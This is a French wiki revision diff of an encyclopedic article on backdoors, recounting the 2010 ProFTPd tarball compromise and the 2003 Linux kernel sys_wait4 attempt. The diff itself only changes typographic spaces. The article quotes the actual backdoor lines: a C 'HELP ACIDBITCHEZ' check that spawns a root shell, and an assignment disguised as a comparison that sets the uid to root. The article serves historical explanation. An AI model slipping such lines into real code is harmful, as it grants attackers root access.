Outils pour utilisateurs

Outils du site


articles:porte_derobee

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Les deux révisions précédentesRévision précédente
Prochaine révision
Révision précédente
articles:porte_derobee [27.03.2020 @ 14:50] – ↷ Page déplacée de lexique:porte_derobee à articles:porte_derobee Adminarticles:porte_derobee [03.04.2026 @ 12:56] (Version actuelle) – Espace inécable devant ";" Admin
Ligne 1: Ligne 1:
 ====== Porte dérobée ====== ====== Porte dérobée ======
  
-L'expression //porte dérobée//, en informatique, provient de l'architecture. Une //porte dérobée// ou //porte de derrière// est un passage secret dans une construction quelconque. C'est un chemin dissimulé qui permet de se déplacer furtivement. Il peut être un moyen : soit d'accéder à une pièce secrète dans une maison ; soit de permettre d'entrer et sortir d'un bâtiment par des corridors ou des galeries dissimulés. Les passages secrets ont été utiles tout au long de l'histoire et sont couramment utilisés dans les oeuvres de fiction. ((**[fr]** [[wpfr>Passage_secret]] Reformulé. Dernière consultation le 9 juillet 2018.))+L'expression //porte dérobée//, en informatique, provient de l'architecture. Une //porte dérobée// ou //porte de derrière// est un passage secret dans une construction quelconque. C'est un chemin dissimulé qui permet de se déplacer furtivement. Il peut être un moyen(nbsp): soit d'accéder à une pièce secrète dans une maison(nbsp); soit de permettre d'entrer et sortir d'un bâtiment par des corridors ou des galeries dissimulés. Les passages secrets ont été utiles tout au long de l'histoire et sont couramment utilisés dans les oeuvres de fiction. ((**[fr]** [[wpfr>Passage_secret]] Reformulé. Dernière consultation le 9 juillet 2018.))
  
  
Ligne 20: Ligne 20:
 ==== ProFTPd (2010) ==== ==== ProFTPd (2010) ====
  
-Le 28 novembre 2010, le tarball ((Tarball : archve en .tar)) de la dernière version (1.3.3c) du serveur FTP ProFTPd a été remplacé par une version contenant une porte dérobée sur le serveur FTP officiel du projet. La porte dérobée ajoute une commande "HELP ACIDBITCHEZ" qui ouvre un "shell" en tant que l'utilisateur root. Le tarball a été propagé sur l'ensemble des miroirs officiels. La compromission a été découverte le 1<sup>er</sup> décembre 2010, et corrigée le 2 décembre. La porte dérobée a notamment ajouté la ligne suivante au fichier src/help.c : +Le 28 novembre 2010, le tarball ((Tarball(nbsp): archve en .tar)) de la dernière version (1.3.3c) du serveur FTP ProFTPd a été remplacé par une version contenant une porte dérobée sur le serveur FTP officiel du projet. La porte dérobée ajoute une commande "HELP ACIDBITCHEZ" qui ouvre un "shell" en tant que l'utilisateur root. Le tarball a été propagé sur l'ensemble des miroirs officiels. La compromission a été découverte le 1<sup>er</sup> décembre 2010, et corrigée le 2 décembre. La porte dérobée a notamment ajouté la ligne suivante au fichier src/help.c(nbsp)
 <code c>if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }</code> <code c>if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }</code>
  
Ligne 29: Ligne 28:
 ==== Noyau Linux (2003) ==== ==== Noyau Linux (2003) ====
  
-Le 4 novembre 2003, une porte dérobée a été introduite dans le noyau Linux directement sur le serveur CVS par un attaquant se faisant passer pour David S. Miller (développeur noyau). Elle a été détectée dès le lendemain. Le serveur CVS était un miroir du dépôt officiel utilisant //BitKeeper//. La porte dérobée a été greffée très synthétiquement, elle consiste en deux lignes de langage C, ajoutées à la fonction //sys_wait4// du fichier "kernel/exit.c" : +Le 4 novembre 2003, une porte dérobée a été introduite dans le noyau Linux directement sur le serveur CVS par un attaquant se faisant passer pour David S. Miller (développeur noyau). Elle a été détectée dès le lendemain. Le serveur CVS était un miroir du dépôt officiel utilisant //BitKeeper//. La porte dérobée a été greffée très synthétiquement, elle consiste en deux lignes de langage C, ajoutées à la fonction //sys_wait4// du fichier "kernel/exit.c"(nbsp)
 <code c>       if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) <code c>       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
                        retval = -EINVAL;</code>                        retval = -EINVAL;</code>
Ligne 38: Ligne 36:
 Cette modification visait à profiter de la confusion entre divers langages de programmation, où le symbole de la comparaison de deux valeurs est le signe ''='' (Pascal, Ada, ML...) et d'autres où c'est la double égalité ''=='' qui joue ce rôle (C, C++, Java...), le signe ''='' signifiant alors une affectation d'une valeur à une variable. Cette modification avait peu de chances de passer inaperçue, car ce type d'erreur est peu compatible avec le niveau en informatique de programmeurs travaillant sur le noyau Linux. Le langage C étant le langage de programmation le plus utilisé sur les systèmes de la famille Unix, très peu d'utilisateurs non débutants se seraient laissé prendre. Cette modification visait à profiter de la confusion entre divers langages de programmation, où le symbole de la comparaison de deux valeurs est le signe ''='' (Pascal, Ada, ML...) et d'autres où c'est la double égalité ''=='' qui joue ce rôle (C, C++, Java...), le signe ''='' signifiant alors une affectation d'une valeur à une variable. Cette modification avait peu de chances de passer inaperçue, car ce type d'erreur est peu compatible avec le niveau en informatique de programmeurs travaillant sur le noyau Linux. Le langage C étant le langage de programmation le plus utilisé sur les systèmes de la famille Unix, très peu d'utilisateurs non débutants se seraient laissé prendre.
  
-De plus, le processus de développement collectif d'un logiciel (notamment celui d'un [[articles:logiciel_libre]]) impose que chaque modification soit validée ; elle doit pour cela avoir une justification légitime. Ainsi, toute modification, aussi minime soit-elle, apparaît dans les //diff// et soulève de légitimes interrogations si elle n'a pas une justification claire. ((**[fr]** [[wpfr>Porte_dérobée#Noyau_Linux_(2003)]]. Dernière consultation le 9 juillet 2018.))+De plus, le processus de développement collectif d'un logiciel (notamment celui d'un [[articles:logiciel_libre]]) impose que chaque modification soit validée(nbsp); elle doit pour cela avoir une justification légitime. Ainsi, toute modification, aussi minime soit-elle, apparaît dans les //diff// et soulève de légitimes interrogations si elle n'a pas une justification claire. ((**[fr]** [[wpfr>Porte_dérobée#Noyau_Linux_(2003)]]. Dernière consultation le 9 juillet 2018.))
  
  
articles/porte_derobee.1585317044.txt.gz · Dernière modification : de Admin